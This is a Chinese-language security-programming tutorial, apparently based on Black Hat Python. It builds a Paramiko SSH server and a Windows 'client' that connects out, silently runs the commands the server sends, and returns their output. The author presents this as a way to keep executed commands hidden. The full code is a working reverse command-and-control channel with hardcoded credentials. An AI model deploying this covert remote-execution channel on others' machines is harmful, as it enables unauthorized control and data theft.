网络安全编程——基于Python达成的SSH通信(Windows执行)

接着昨天文章留下的疑问，今天也是给大家带来一篇针对客户端加密通信的SSH通信；
作用：可以在Windows上执行，服务端执行发送的命令，在客户端上不会有任何显示；保证了我们执行命令的保密性；

文章目录

• • SSH客户端（改进版）
  • • 代码解释：
  • SSH服务端
  • • 第一部分
    • 第二部分：
    • 完整代码：
  • 总结
  • • 代码效果展示：
    • 服务器操作：
    • 客户端操作：

---

SSH客户端（改进版）

如果想了解简单的SSH通信在Linux上如何实现，可以看网络安全编程——基于Python实现的SSH通信代码(Linux执行)这篇文章；

我们创建一个新文件，命名为ssh_client.py，并输入以下内容：

import sys
import paramiko
import subprocess
import shlex
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command.encode())  # 修复：字节流发送
print(f"Received data is:{ssh_session.recv(1024).decode()}")
while True:
command = ssh_session.recv(1024)
try:
cmd = command.decode().strip()  # 修复：去除空格/换行
if cmd == 'exit':
client.close()
break
# 保留原逻辑（注意：shell=True有风险，但不修改风格）
output_cmd = subprocess.check_output(shlex.split(cmd), shell=True)
ssh_session.send(output_cmd or b'okay')  # 修复：字节流发送
except Exception as e:
ssh_session.send(str(e).encode())  # 修复：字节流发送
client.close()
return
if __name__ == "__main__":
import getpass
user = input(f"username:")
passwd = getpass.getpass()
ip = input("Enter your IP address:")
port = int(input("Enter your port:"))  # 修复：转为整数
ssh_command(ip, port, user, passwd, "ClientConnected~")

代码解释：

• （1）SSH 连接初始化：

  • 关键：AutoAddPolicy() 是为了避免首次连接远程服务器时，因 “主机密钥未验证” 而抛出异常（适合测试 / 信任环境，生产环境需谨慎）。

• （2）创建交互式 SSH 会话：

  • 为什么不用 client.exec_command()？
    exec_command() 是 “单次命令执行”（执行完就断开），而 ·open_session()· 是 “持久交互会话”（保持连接，反复收发命令），适合本次的 “持续接收远程指令” 场景。

• （3）交互式命令循环：

  • 目的：保持连接，让远程服务器可以多次下发命令，本地持续执行并反馈。
  • subprocess.check_output(shlex.split(cmd),shell=True)作用：这个函数作用在手写Netcat工具的execute()函数时就已经出现过；
  • shell=True 和 shell=False 区别：

参数	执行逻辑	命令格式要求	典型场景
shell=False（默认）	直接启动命令对应的可执行程序（如 ls、python），命令参数独立传递	必须是列表（如 ['ls', '-l']）	不需要 Shell 特性时（推荐）
shell=True	先启动系统 Shell（Linux 是 bash/sh，Windows 是 cmd.exe/PowerShell），再让 Shell 解析并执行命令	可以是字符串（如 ls -l grep txt）	需要 Shell 语法特性时

另外还有一点，我们给服务器发送的第一条命令是ClientConnected。等到写服务器代码的时候，你就会明白为什么要发这么一条命令。

---

SSH服务端

现在，我们来编写SSH服务器，我们的客户端（指实际运行命令的机器）之后会去连接它。任何操作系统均可，只要上面装了Python和Paramiko就可以。

第一部分

import sys
import threading
import socket
import paramiko
import os
CWD = os.path.dirname(os.path.realpath(__file__))
HostKey = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sectools'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED  # 输出：0（paramiko.OPEN_SUCCEEDED 的值）
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED  # 输出：1（paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 的值）

代码解释：

• （1）获取当前脚本目录

  CWD = os.path.dirname(os.path.realpath(__file__))

  • 作用：通过os.path.realpath(__file__)获取当前脚本的绝对路径，再通过os.path.dirname提取其所在目录，最终得到脚本的工作目录CWD，用于后续文件（如密钥文件）的路径拼接。

• （2）加载SSH服务器的主机密钥

  HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))

  • 作用：加载一个RSA密钥文件（test_rsa.key）作为SSH服务器的主机密钥。
  • 背景：SSH服务器需要主机密钥来证明自身身份，客户端连接时会验证该密钥，确保连接的是可信服务器。这里通过paramiko.RSAKey加载本地生成的RSA密钥文件（需提前用ssh-keygen等工具生成）。

• （3）定义自定义SSH服务器类

  class Server(paramiko.ServerInterface):
  def __init__(self):
  self.event = threading.Event()

  • 细节：paramiko.ServerInterface是paramiko中用于实现SSH服务器功能的抽象基类（*会Java的师傅应该很熟悉 *），需重写其方法（如认证、命令执行等）来实现自定义逻辑。
  • 线程同步：self.event = threading.Event()初始化了一个线程事件对象，用于多线程环境下的线程同步（例如控制服务器的启动、停止或状态通知）。

---

第二部分：

接着，像前面讲过的那样，我们打开一个socket监听器，然后把这个监听器“SSH化”，并设置好它的权限认证方式。（具体文章请看TCP服务端实现）

1. 当一个客户端通过认证，并向我们发送ClientConnected命令后；
2. 在SSH服务器（即运行ssh_server.py脚本的机器）上运行的任何命令，都会被发送到SSH客户端（即运行ssh_rcmd.py脚本的机器）；
3. 并且在该客户端上执行，执行的结果会回传给SSH服务器。

if __name__ == "__main__":
server_ip = '0.0.0.0'  # 监听所有网卡（避免绑定失败）
ssh_port = 2222  # 避免与系统SSH的22端口冲突
# ----------------------SSH连接部分-------------------------
client = None  # 提前初始化client，避免未定义
try:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((server_ip, ssh_port))
server_socket.listen(100)
print(f"[+] Listening on {server_ip}:{ssh_port} ....")
client, addr = server_socket.accept()
except Exception as e:
print(f"[-] Connect Failed.." + str(e))
sys.exit(1)  # 绑定失败直接退出，避免后续报错
else:
print(f"[+] Connected from {addr[0]}:{addr[1]}")
# ----------------------SSH认证部分-------------------------
bnsession = paramiko.Transport(client)
bnsession.add_server_key(HostKey)
server = Server()
bnsession.start_server(server=server)
chan = bnsession.accept(20)  # 20秒超时
if chan is None:
print(f"[-] No Channel...")
sys.exit()
print(f"[+] Authenticated!")
print(chan.recv(1024).decode())
chan.send(f"Welcome to bh_ssh".encode())
try:
while True:
command = input(f"Enter command:")
if command != 'exit':
chan.send(command.encode())
respond = chan.recv(4096)
print(respond.decode())
else:
print(f"[-] SSH Server exiting...")
chan.close()
break
except KeyboardInterrupt as e:
print(f"[-] Server Interrupt...")
bnsession.close()

具体代码如上图；

代码解释：

（1） 初始化 SSH 传输层与服务器配置

bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)

• paramiko.Transport(client)：创建 SSH 传输层对象，client 是一个已建立的网络连接（如 socket），负责处理 SSH 底层的加密、认证等协议交互。
• add_server_key(HOSTKEY)：添加服务器主机密钥（即之前定义的 HOSTKEY，通常是 RSA 密钥）。该密钥用于向客户端证明服务器身份，客户端连接时会验证此密钥，确保连接的是可信服务器。
• Server()：实例化自定义的 Server 类（继承自 paramiko.ServerInterface），用于实现 SSH 服务器的核心逻辑（如用户认证、通道权限等回调方法）。
• start_server(server=server)：启动 SSH 服务器的服务端流程，将自定义的 server 对象传入，让其接管所有服务器行为（如认证处理、通道请求等）。

（2）接受 SSH 通道请求

chan = bhSession.accept(20)
if chan is None:
print('*** No channel.')
sys.exit(1)

• bhSession.accept(20)：等待并接受客户端的SSH 通道请求，超时时间为 20 秒。SSH 通道是用于传输数据（如命令、文件）的逻辑连接，accept 方法会阻塞直到有通道请求或超时（超时则返回 None）。
• 若未获取到通道（chan is None），则打印提示并退出程序。

3. 认证成功提示与初始通信

print('[+] Authenticated!')
print(chan.recv(1024))
chan.send('Welcome to bh_ssh')

• print('[+] Authenticated!')：若执行到此处，说明客户端已通过认证（Server 类中需实现认证逻辑，只有认证成功才会允许建立通道）。
• chan.recv(1024)：从 SSH 通道中接收客户端发送的数据（最多 1024 字节），并打印。
• chan.send('Welcome to bh_ssh')：向客户端发送欢迎消息，完成一次简单的双向通信。

完整代码：

import sys
import threading
import socket
import paramiko
import os
CWD = os.path.dirname(os.path.realpath(__file__))
HostKey = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sectools'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
if __name__ == "__main__":
server_ip = '0.0.0.0'  # 监听所有网卡（避免绑定失败）
ssh_port = 2222  # 避免与系统SSH的22端口冲突
# ----------------------SSH连接部分-------------------------
client = None  # 提前初始化client，避免未定义
try:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((server_ip, ssh_port))
server_socket.listen(100)
print(f"[+] Listening on {server_ip}:{ssh_port} ....")
client, addr = server_socket.accept()
except Exception as e:
print(f"[-] Connect Failed.." + str(e))
sys.exit(1)  # 绑定失败直接退出，避免后续报错
else:
print(f"[+] Connected from {addr[0]}:{addr[1]}")
# ----------------------SSH认证部分-------------------------
bnsession = paramiko.Transport(client)
bnsession.add_server_key(HostKey)
server = Server()
bnsession.start_server(server=server)
chan = bnsession.accept(20)  # 20秒超时
if chan is None:
print(f"[-] No Channel...")
sys.exit()
print(f"[+] Authenticated!")
print(chan.recv(1024).decode())
chan.send(f"Welcome to bh_ssh".encode())
try:
while True:
command = input(f"Enter command:")
if command != 'exit':
chan.send(command.encode())
respond = chan.recv(4096)
print(respond.decode())
else:
print(f"[-] SSH Server exiting...")
chan.close()
break
except KeyboardInterrupt as e:
print(f"[-] Server Interrupt...")
bnsession.close()

完整代码如上；

---

总结

代码效果展示：

我们会在一台 Windows 电脑上运行客户端，在一台 Ubuntu电脑上运行服务器。

服务器操作：

首先在server.py文件所在的目录，生成公私钥，然后运行server.py文件

# 生成公私钥
ssh-keygen -t rsa -f test_rsa.key -N ''
# 运行文件
python3 server.py

正在监听2222端口，等待客户端连接：

客户端操作：

在 Windows 电脑上运行客户端，按提示输入以下信息（严格对应服务端配置）：

username: tim  # 服务端硬编码用户名
Password: sectools  # 服务端硬编码密码（输入不回显）
Enter your IP address: 192.168.44.128  # Ubuntu 服务端IP
Enter your port: 2222  # 服务端监听端口

回到服务器上，就能够看到客户端的连接了：

再尝试执行几条命令：

客户端效果：

如你所见，客户端连接成功后，我们执行了几条命令。从 SSH 客户端上什么也看不出来，但其实我们发出的命令已经在客户端上运行了，输出结果也发回了 SSH 服务器。